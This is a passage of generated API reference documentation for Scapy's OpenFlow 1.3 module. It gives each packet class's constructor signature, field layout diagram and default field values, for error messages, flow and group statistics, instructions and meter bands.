	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	11



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow3.OFPETSwitchConfigFailed(_pkt, /, *, version=4, type=1, len=None, xid=0, errtype=10, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1823-L1833]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. OFPETSwitchConfigFailed                   


OFPETSwitchConfigFailed fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	10



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow3.OFPETTableFeaturesFailed(_pkt, /, *, version=4, type=1, len=None, xid=0, errtype=13, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1871-L1884]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. OFPETTableFeaturesFailed                   


OFPETTableFeaturesFailed fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	13



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow3.OFPETTableModFailed(_pkt, /, *, version=4, type=1, len=None, xid=0, errtype=8, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1797-L1807]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPETTableModFailed                     


OFPETTableModFailed fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	8



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow3.OFPFlowStats(_pkt, /, *, len=None, table_id=0, pad1=0, duration_sec=0, duration_nsec=0, priority=0, idle_timeout=0, hard_timeout=0, flags=<Flag 0 ()>, pad2=0, cookie=0, packet_count=0, byte_count=0, match=<OFPMatch  |>, instructions=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2230-L2254]

	Bases: _ofp_header_item


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2253-L2254]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |    TABLE ID   |      PAD1     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          DURATION SEC                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         DURATION NSEC                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PRIORITY           |          IDLE TIMEOUT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          HARD TIMEOUT         |             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD2                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             COOKIE                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          PACKET COUNT                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BYTE COUNT                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MATCH             |          INSTRUCTIONS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPFlowStats                         


OFPFlowStats fields






	len

	ShortField

	None



	table_id

	ByteEnumField

	0



	pad1

	XByteField

	0



	duration_sec

	IntField

	0



	duration_nsec

	IntField

	0



	priority

	ShortField

	0



	idle_timeout

	ShortField

	0



	hard_timeout

	ShortField

	0



	flags

	FlagsField

	<Flag 0 ()>



	pad2

	IntField

	0



	cookie

	LongField

	0



	packet_count

	LongField

	0



	byte_count

	LongField

	0



	match

	MatchField

	<OFPMatch  |>



	instructions

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPGroupDesc(_pkt, /, *, len=None, type=0, pad=0, group_id=0, buckets=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2478-L2491]

	Bases: _ofp_header_item


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2490-L2491]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |      TYPE     |      PAD      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            GROUP ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            BUCKETS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPGroupDesc                         


OFPGroupDesc fields






	len

	ShortField

	None



	type

	ByteEnumField

	0



	pad

	XByteField

	0



	group_id

	IntEnumField

	0



	buckets

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPGroupStats(_pkt, /, *, len=None, pad1=0, group_id=0, ref_count=0, pad2=0, packet_count=0, byte_count=0, duration_sec=0, duration_nsec=0, bucket_stats=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2436-L2451]

	Bases: _ofp_header_item


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2450-L2451]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              PAD1             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            GROUP ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           REF COUNT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD2                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          PACKET COUNT                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BYTE COUNT                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          DURATION SEC                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         DURATION NSEC                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          BUCKET STATS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPGroupStats                        


OFPGroupStats fields






	len

	ShortField

	None



	pad1

	XShortField

	0



	group_id

	IntEnumField

	0



	ref_count

	IntField

	0



	pad2

	IntField

	0



	packet_count

	LongField

	0



	byte_count

	LongField

	0



	duration_sec

	IntField

	0



	duration_nsec

	IntField

	0



	bucket_stats

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPHET(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L82-L91]

	Bases: _ofp_header


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L83-L88]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L90-L91]

	








	
class scapy.contrib.openflow3.OFPHETVersionBitmap(_pkt, /, *, type=1, len=8, bitmap=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L94-L104]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             BITMAP                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPHETVersionBitmap                     


OFPHETVersionBitmap fields






	type

	ShortEnumField

	1



	len

	ShortField

	8



	bitmap

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.openflow3.OFPIT(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1290-L1299]

	Bases: _ofp_header


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1291-L1296]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1298-L1299]

	








	
class scapy.contrib.openflow3.OFPITApplyActions(_pkt, /, *, type=4, len=None, pad=0, actions=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1328-L1334]

	Bases: OFPIT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ACTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPITApplyActions                      


OFPITApplyActions fields






	type

	ShortEnumField

	4



	len

	ShortField

	None



	pad

	XIntField

	0



	actions

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPITApplyActionsID(_pkt, /, *, type=4, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1402-L1405]

	Bases: OFPITID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPITApplyActionsID                     


OFPITApplyActionsID fields






	type

	ShortEnumField

	4



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPITClearActions(_pkt, /, *, type=5, len=8, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1337-L1341]

	Bases: OFPIT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPITClearActions                      


OFPITClearActions fields






	type

	ShortEnumField

	5



	len

	ShortField

	8



	pad

	XIntField

	0















	
class scapy.contrib.openflow3.OFPITClearActionsID(_pkt, /, *, type=5, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1408-L1411]

	Bases: OFPITID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPITClearActionsID                     


OFPITClearActionsID fields






	type

	ShortEnumField

	5



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPITExperimenter(_pkt, /, *, type=65535, len=None, experimenter=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1351-L1355]

	Bases: OFPIT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          EXPERIMENTER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPITExperimenter                      


OFPITExperimenter fields






	type

	ShortEnumField

	65535



	len

	ShortField

	None



	experimenter

	IntField

	0















	
class scapy.contrib.openflow3.OFPITExperimenterID(_pkt, /, *, type=65535, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1420-L1423]

	Bases: OFPITID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPITExperimenterID                     


OFPITExperimenterID fields






	type

	ShortEnumField

	65535



	len

	ShortField

	None















	
class scapy.contrib.openflow3.OFPITGotoTable(_pkt, /, *, type=1, len=8, table_id=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1302-L1307]

	Bases: OFPIT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    TABLE ID   |                      PAD                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. OFPITGotoTable                        


OFPITGotoTable fields






	type

	ShortEnumField

	1



	len

	ShortField

	8



	table_id

	ByteEnumField

	0



	pad

	X3BytesField

	0















	
class scapy.contrib.openflow3.OFPITGotoTableID(_pkt, /, *, type=1, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1384-L1387]

	Bases: OFPITID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPITGotoTableID                       


OFPITGotoTableID fields






	type

	ShortEnumField

	1



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPITID(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1372-L1381]

	Bases: _ofp_header


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1373-L1378]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1380-L1381]

	








	
class scapy.contrib.openflow3.OFPITMeter(_pkt, /, *, type=6, len=8, meter_id=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1344-L1348]

	Bases: OFPIT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            METER ID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OFPITMeter                          


OFPITMeter fields






	type

	ShortEnumField

	6



	len

	ShortField

	8



	meter_id

	IntEnumField

	1















	
class scapy.contrib.openflow3.OFPITMeterID(_pkt, /, *, type=6, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1414-L1417]

	Bases: OFPITID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPITMeterID                         


OFPITMeterID fields






	type

	ShortEnumField

	6



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPITWriteActions(_pkt, /, *, type=3, len=None, pad=0, actions=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1319-L1325]

	Bases: OFPIT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ACTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPITWriteActions                      


OFPITWriteActions fields






	type

	ShortEnumField

	3



	len

	ShortField

	None



	pad

	XIntField

	0



	actions

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPITWriteActionsID(_pkt, /, *, type=3, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1396-L1399]

	Bases: OFPITID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPITWriteActionsID                     


OFPITWriteActionsID fields






	type

	ShortEnumField

	3



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPITWriteMetadata(_pkt, /, *, type=2, len=24, pad=0, metadata=0, metadata_mask=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1310-L1316]

	Bases: OFPIT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            METADATA                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         METADATA MASK                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPITWriteMetadata                      


OFPITWriteMetadata fields






	type

	ShortEnumField

	2



	len

	ShortField

	24



	pad

	XIntField

	0



	metadata

	LongField

	0



	metadata_mask

	LongField

	0















	
class scapy.contrib.openflow3.OFPITWriteMetadataID(_pkt, /, *, type=2, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1390-L1393]

	Bases: OFPITID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. OFPITWriteMetadataID                     


OFPITWriteMetadataID fields






	type

	ShortEnumField

	2



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPMBT(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1517-L1526]

	Bases: _ofp_header


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1518-L1523]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1525-L1526]

	








	
class scapy.contrib.openflow3.OFPMBTDSCPRemark(_pkt, /, *, type=1, len=16, rate=0, burst_size=0, prec_level=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1538-L1545]

	Bases: OFPMBT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RATE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BURST SIZE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   PREC LEVEL  |                      PAD                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. OFPMBTDSCPRemark                       


OFPMBTDSCPRemark fields






	type

	ShortEnumField

	1



	len

	ShortField

	16



	rate

	IntField

	0



	burst_size

	IntField

	0



	prec_level

	ByteField

	0



	pad

	X3BytesField

	0















	
